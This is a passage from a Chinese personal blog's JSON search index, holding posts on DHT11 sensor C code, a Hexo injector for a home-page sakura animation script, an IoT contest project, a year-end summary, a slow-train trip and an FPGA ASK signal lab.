data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回值:读到的数据\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Byte\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003edat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003edat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e dat\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e dat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e dat \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Bit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e一共5个字节:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//temp:温度值(范围:0~50°)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//humi:湿度值(范围:20%~90%)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//返回值:0,正常;1,读取失败\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Data\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumi\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Rst\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Check\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//读取40位数据\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Read_Byte\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e==\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumi\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e)不过为了显示的更精确可以小数位也传过去。\u003c/p\u003e\u003ch3 id=\"完成\"\u003e\u003ca href=\"#完成\" class=\"headerlink\" title=\"完成\"\u003e\u003c/a\u003e完成\u003c/h3\u003e\u003cp\u003e到此,完成了串口通信,OLED屏幕驱动,温湿度数据的获取。之后在OLED屏幕上的显示布局可以自己设计~ \u003c/p\u003e","url":"https://blog.ksfu.top/posts/e0ca/"},{"title":"6063/6064 公益慢火车运转","time":"2023-04-05T15:19:17Z","content":"\u003ch1 id=\"6063-x2F-6064-公益慢火车运转\"\u003e\u003ca href=\"#6063-x2F-6064-公益慢火车运转\" class=\"headerlink\" title=\"6063\u0026#x2F;6064 公益慢火车运转\"\u003e\u003c/a\u003e6063\u0026#x2F;6064 公益慢火车运转\u003chr /\u003e\u003ch1 id=\"6063-x2F-6064-公益慢火车运转\"\u003e\u003ca href=\"#6063-x2F-6064-公益慢火车运转\" class=\"headerlink\" title=\"6063\u0026#x2F;6064 公益慢火车运转\"\u003e\u003c/a\u003e6063\u0026#x2F;6064 公益慢火车运转\u003c/h1\u003e\u003cblockquote\u003e\u003cp\u003e群山如森海,慢车即航船。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这是2022年8月初的事情了,那会正值暑假,因为防控原因我在学校呆到7月底才回家,顺便去运转了一下这趟公益慢火车。当时运转时这趟车还是非空调车,现在已经更换车底,成为空调车了。刚好赶在换车底前完成了这一趟。全程下来,还是很有意思的。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e不过人是个懒狗,拖到这会才想起来写。后面想起来再更新。\u003c/del\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/54cd/"},{"title":"Hexo 注入器实践","time":"2023-04-04T20:39:00Z","content":"\u003ch1 id=\"Hexo-注入器实践\"\u003e\u003ca href=\"#Hexo-注入器实践\" class=\"headerlink\" title=\"Hexo 注入器实践\"\u003e\u003c/a\u003eHexo 注入器实践\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"#前言\" class=\"headerli\u003chr /\u003e\u003ch1 id=\"Hexo-注入器实践\"\u003e\u003ca href=\"#Hexo-注入器实践\" class=\"headerlink\" title=\"Hexo 注入器实践\"\u003e\u003c/a\u003eHexo 注入器实践\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"#前言\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e我博客首页飘的那个樱花看着花里胡哨,但是非常占用资源……而且因为是直接引进来的 \u003ccode\u003ejs\u003c/code\u003e ,所以每个页面都有这玩意,但是毕竟花里胡哨,也就对性能问题睁一只眼闭一只眼,刚才翻别人博客突然发现了注入器这个神奇玩意,于是问题解决了:只在首页显示樱花飘落的动画。\u003c/p\u003e\u003ch3 id=\"参考博客\"\u003e\u003ca href=\"#参考博客\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://gishai.top/blog/posts/1563abd8.html\"\u003e基于hexo的fluid主题的魔改汇总 - GISHAI\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://hexo.fluid-dev.com/docs/advance/#hexo-%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81\"\u003e进阶用法 | Hexo Fluid 用户手册 (fluid-dev.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"具体实践\"\u003e\u003ca href=\"#具体实践\" class=\"headerlink\" title=\"具体实践\"\u003e\u003c/a\u003e具体实践\u003c/h2\u003e\u003cp\u003e在 \u003cstrong\u003e\u003ca href=\"https://hexo.fluid-dev.com/docs/\"\u003eHexo Fluid 用户手册\u003c/a\u003e\u003c/strong\u003e 中说的比较清楚了:注入器可以将 HTML 片段注入生成页面的 \u003ccode\u003e\u0026lt;head\u0026gt;\u003c/code\u003e 和 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 节点中,而且可以选择注入的页面类型(比如我首页的樱花我可以选择只注入首页)。\u003c/p\u003e\u003cp\u003e编写注入代码,需要在博客的根目录下创建 \u003ccode\u003escripts\u003c/code\u003e 文件夹,然后在里面任意命名创建一个 js 文件即可。\u003c/p\u003e\u003cp\u003e我创建了一个 \u003ccode\u003e/Hexo/scripts/yinghua.js\u003c/code\u003e 了一个文件,内容为:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-javascript\" data-language=\"javascript\"\u003e\u003ccode class=\"language-javascript\"\u003ehexo\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eextend\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einjector\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eregister\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token string\"\u003e'body_end'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'\u0026lt;script src=\"//must.best/assets/js/flower.js\"\u003e\u0026lt;/script\u003e'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'home'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e上述代码会在生成的页面 \u003ccode\u003e\u0026lt;/body\u0026gt;\u003c/code\u003e 注入加载 \u003ccode\u003e//must.best/assets/js/flower.js\u003c/code\u003e 的代码。\u003c/p\u003e\u003cp\u003e这里发挥作用的是 \u003cstrong\u003e\u003ccode\u003eregister\u003c/code\u003e\u003c/strong\u003e 函数。\u003c/p\u003e\u003ch3 id=\"register-函数\"\u003e\u003ca href=\"#register-函数\" class=\"headerlink\" title=\"register 函数\"\u003e\u003c/a\u003e\u003ccode\u003eregister\u003c/code\u003e 函数\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eregister\u003c/code\u003e 函数可接受三个参数。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第一个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第一个参数是\u003cstrong\u003e代码片段注入的位置\u003c/strong\u003e,接受以下值:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ehead_begin\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;head\u0026gt;\u003c/code\u003e 之后(默认)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ehead_end\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;/head\u0026gt;\u003c/code\u003e 之前\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebody_begin\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 之后\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebody_end\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;/body\u0026gt;\u003c/code\u003e 之前\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第二个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第二个参数是注入的片段,可以是字符串,也可以是一个返回值为字符串的函数。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第三个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第三个参数是注入的页面类型,接受以下值:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003edefault\u003c/code\u003e: 注入到每个页面(默认值)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ehome\u003c/code\u003e: 只注入到主页(\u003ccode\u003eis_home()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003epost\u003c/code\u003e: 只注入到文章页面(\u003ccode\u003eis_post()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003epage\u003c/code\u003e: 只注入到独立页面(\u003ccode\u003eis_page()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003earchive\u003c/code\u003e: 只注入到归档页面(\u003ccode\u003eis_archive()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ecategory\u003c/code\u003e: 只注入到分类页面(\u003ccode\u003eis_category()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003etag\u003c/code\u003e: 只注入到标签页面(\u003ccode\u003eis_tag()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e或是其他自定义 layout 名称,例如在Fluid 主题中 \u003ccode\u003eabout\u003c/code\u003e 对应关于页、\u003ccode\u003elinks\u003c/code\u003e 对应友联页\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比如上面我要樱花飘落的动画只在首页显示,所以选择 \u003ccode\u003ehome\u003c/code\u003e 这个参数。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e","url":"https://blog.ksfu.top/posts/5eba/"},{"title":"【有方杯总结】一个物联网小项目","time":"2023-04-04T19:31:50Z","content":"\u003ch1 id=\"【有方杯总结】一个物联网小项目\"\u003e\u003ca href=\"#【有方杯总结】一个物联网小项目\" class=\"headerlink\" title=\"【有方杯总结】一个物联网小项目\"\u003e\u003c/a\u003e【有方杯总结】一个物联网小项目\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"\u003chr /\u003e\u003ch1 id=\"【有方杯总结】一个物联网小项目\"\u003e\u003ca href=\"#【有方杯总结】一个物联网小项目\" class=\"headerlink\" title=\"【有方杯总结】一个物联网小项目\"\u003e\u003c/a\u003e【有方杯总结】一个物联网小项目\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"#前言\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e这次的项目其实是比较简单的。相对于大二那会做的广和通物联网项目来说,这次的项目算是比较有条理的做了下来,能理清楚各部分的关系,在编写的过程中不断学习实践,各类传感器的整合,数据上报,云端数据的流转……收获很多。\u003c/p\u003e\u003cp\u003e不过总的来说,这个项目是单片机收集了一些传感器的数据,然后通过 \u003ccode\u003e有方N58\u003c/code\u003e 通信模块上报阿里云物联网平台,进而展示在前端页面上。\u003c/p\u003e\u003cp\u003e想想之前做广和通的时候没搞清楚这些关系,先是在服务器上运行了一个 \u003ccode\u003ec-socket\u003c/code\u003e 脚本,然后用广和通物联网模块去连接这个脚本,之后脚本将接收到的数据写入文件。网页前端是不断访问这个文件进行页面展示数据的更改。走了很多弯路,而且很不稳定,每次断掉之后得等服务器上那个端口空闲之后才能再次运行脚本……这次使用了 \u003ccode\u003ewebsocket\u003c/code\u003e 与阿里云物联网平台,可以说是又稳又快,用 \u003ccode\u003ejs\u003c/code\u003e 处理数据也方便的多。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e用 \u003ccode\u003eC语言\u003c/code\u003e 处理字符串还是太折磨人了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e大概流程:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/neoway/2.png\"\u003e\u003c/p\u003e\u003cp\u003e前端演示地址:\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://neoway.ksfu.top/\"\u003ehttp://neoway.ksfu.top/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e前端效果图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/neoway/1.jpg\"\u003e\u003c/p\u003e\u003chr\u003e\u003cp\u003e具体内容的起来再写~\u003c/p\u003e","url":"https://blog.ksfu.top/posts/1b10/"},{"title":"2022 年终\u0026期末总结","time":"2023-01-03T08:53:20Z","content":"\u003ch1 id=\"2022-年终总结\"\u003e\u003ca href=\"#2022-年终总结\" class=\"headerlink\" title=\"2022 年终总结\"\u003e\u003c/a\u003e2022 年终总结\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e因为这几天趁着冬促入了奥德赛,所以还在肝这玩意,先占个坑肝差不多了就写\u003c/\u003chr /\u003e\u003ch1 id=\"2022-年终总结\"\u003e\u003ca href=\"#2022-年终总结\" class=\"headerlink\" title=\"2022 年终总结\"\u003e\u003c/a\u003e2022 年终总结\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e因为这几天趁着冬促入了奥德赛,所以还在肝这玩意,先占个坑肝差不多了就写\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e奥德赛好长啊\u003c/del\u003e\u003c/p\u003e\u003cp\u003e去年还是太逆天了,不过终究是过来了。\u003c!--今年要准备考研了。--\u003e今年到目前来说还不错,追了很多场演唱会,也和同学组多参加了一些小比赛。不过压力也感觉大了起来,感觉自己现在也没啥技能,简历上没啥东西能写。学业上也不咋样。女朋友必然也是没有的(也没认识几个女生就是说。体重只能说保持的还不错。海浪会来,希望这学期的生活能冲淡去年的影响,等这学期大三总结和2022总结一起写吧。\u003c/p\u003e","url":"https://blog.ksfu.top/posts/3ff3/"},{"title":"基于FPGA的ASK信号生成及测量分析技术-西电通院随机信号实验","time":"2022-11-04T19:55:20Z","content":"\u003ch1 id=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003ca href=\"#基于FPGA的ASK信号生成及测量分析技术\" class=\"headerlink\" title=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003c/a\u003e基于FPGA的ASK信号生成及测量分析技术\u003c/\u003chr /\u003e\u003ch1 id=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003ca href=\"#基于FPGA的ASK信号生成及测量分析技术\" class=\"headerlink\" title=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003c/a\u003e基于FPGA的ASK信号生成及测量分析技术\u003c/h1\u003e\u003cp\u003e) 随机信号实验选到了这个,就当学 \u003ccode\u003eVerilog\u003c/code\u003e 了。\u003c/p\u003e\u003cp\u003e(以下内容围绕西电通院随机信号实验:《基于FPGA的ASK信号生成及测量分析技术》展开。\u003c/p\u003e\u003ch2 id=\"模块框图\"\u003e\u003ca href=\"#模块框图\" class=\"headerlink\" title=\"模块框图\"\u003e\u003c/a\u003e模块框图\u003c/h2\u003e\u003cp\u003e2ASK调制电路组成框图\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%AE%B0%E5%BD%95.png\" /\u003e\u003cp\u003e2ASK调制的FPGA程序框图\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E6%A1%86%E5%9B%BE.png\" /\u003e\u003ch2 id=\"模块分解\"\u003e\u003ca href=\"#模块分解\" class=\"headerlink\" title=\"模块分解\"\u003e\u003c/a\u003e模块分解\u003c/h2\u003e\u003cp\u003e梳理一下:\u003c/p\u003e\u003col\u003e\u003cli\u003e分频模块\u003c/li\u003e\u003cli\u003e载波产生模块\u003cul\u003e\u003cli\u003e八进制计数器\u003c/li\u003e\u003cli\u003eROM\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003em序列产生模块\u003c/li\u003e\u003cli\u003e键控开关\u003c/li\u003e\u003cli\u003eDAC输出模块(给了)\u003c/li\u003e\u003cli\u003e拓展输出口(给了)\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e所以需要编写5个模块。\u003c/p\u003e\u003ch3 id=\"1-分频模块设计\"\u003e\u003ca href=\"#1-分频模块设计\" class=\"headerlink\" title=\"1. 分频模块设计\"\u003e\u003c/a\u003e1. 分频模块设计\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e2.1.1按原理2.1节设计分频器a(4分频、6分频、10分频等)将系统时钟sys_clk分频,作为载波产生模块的时钟,则载波频率为sys_clk\u0026#x2F;(分频值a*一个载波周期的存储点数n)(Hz)。(sys_clk\u0026#x3D;26MHz)\u003c/p\u003e\u003cp\u003e2.1.2按原理2.1节设计分频器b(分频值应设置为上步中a*n的整数倍)将系统时钟分频,作为m序列产生模块的时钟,则基带码元速率为sys_clk\u0026#x2F;b(bit\u0026#x2F;s)。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e可以知道要设计两个分频模块,其中主频为 \u003cstrong\u003e26MHz\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e分频模块端口示意图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E5%88%86%E9%A2%91%E6%A8%A1%E5%9D%97.png\" style=\"zoom: 50%;\" /\u003e\u003cblockquote\u003e\u003cp\u003eclk端为系统时钟信号输入,从out8、out16、out256可分别得到系统时钟的8分频、16分频和256分频信号。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e经历了一晚上的折磨,我终于悟出了:\u003cstrong\u003e所谓X分频,就是把时钟原来每一下变一次,变成现在是每X下变一次。\u003c/strong\u003e \u003cdel\u003e(有时候很明显的事情就是转不过来弯\u003c/del\u003e\u003c/p\u003e\u003cp\u003e所以就可以顺着这个思路编写 \u003ccode\u003efenpin.v\u003c/code\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e fenpin \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token 